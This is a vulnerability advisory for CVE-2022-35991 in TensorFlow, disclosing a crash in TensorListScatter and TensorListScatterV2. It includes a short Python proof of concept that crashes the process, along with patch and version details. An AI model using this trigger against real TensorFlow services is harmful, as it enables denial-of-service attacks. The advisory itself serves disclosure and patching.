CVE-2022-35991
TensorFlow vulnerable to `CHECK` fail in `TensorListScatter` and `TensorListScatterV2`
Impact
### Impact When `TensorListScatter` and `TensorListScatterV2` receive an `element_shape` of a rank greater than one, they give a `CHECK` fail that can trigger a denial of service attack. ```python import tensorflow as tf arg_0=tf.random.uniform(shape=(2, 2, 2), dtype=tf.float16, maxval=None) arg_1=tf.random.uniform(shape=(2, 2, 2), dtype=tf.int32, maxval=65536) arg_2=tf.random.uniform(shape=(2, 2, 2), dtype=tf.int32, maxval=65536) arg_3='' tf.raw_ops.TensorListScatter(tensor=arg_0, indices=arg_1, element_shape=arg_2, name=arg_3) ``` ### Patches We have patched the issue in GitHub commit [bb03fdf4aae944ab2e4b35c7daa051068a8b7f61](https://github.com/tensorflow/tensorflow/commit/bb03fdf4aae944ab2e4b35c7daa051068a8b7f61). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| pip | tensorflow | < 2.7.2 | 2.7.2 |
| pip | tensorflow-cpu | < 2.7.2 | 2.7.2 |
| pip | tensorflow-gpu | < 2.7.2 | 2.7.2 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Tensorflow | before 2.7.2 from 2.8.0 before 2.8.1 from 2.9.0 before 2.9.1 Version 2.10 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/tensorflow/tensorflow/commit/bb03fdf4aae944ab2e4b35c7daa051068a8b7f61
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vm7x-4qhj-rrcq
- https://github.com/advisories/GHSA-vm7x-4qhj-rrcq
- https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
- https://nvd.nist.gov/vuln/detail/CVE-2022-35991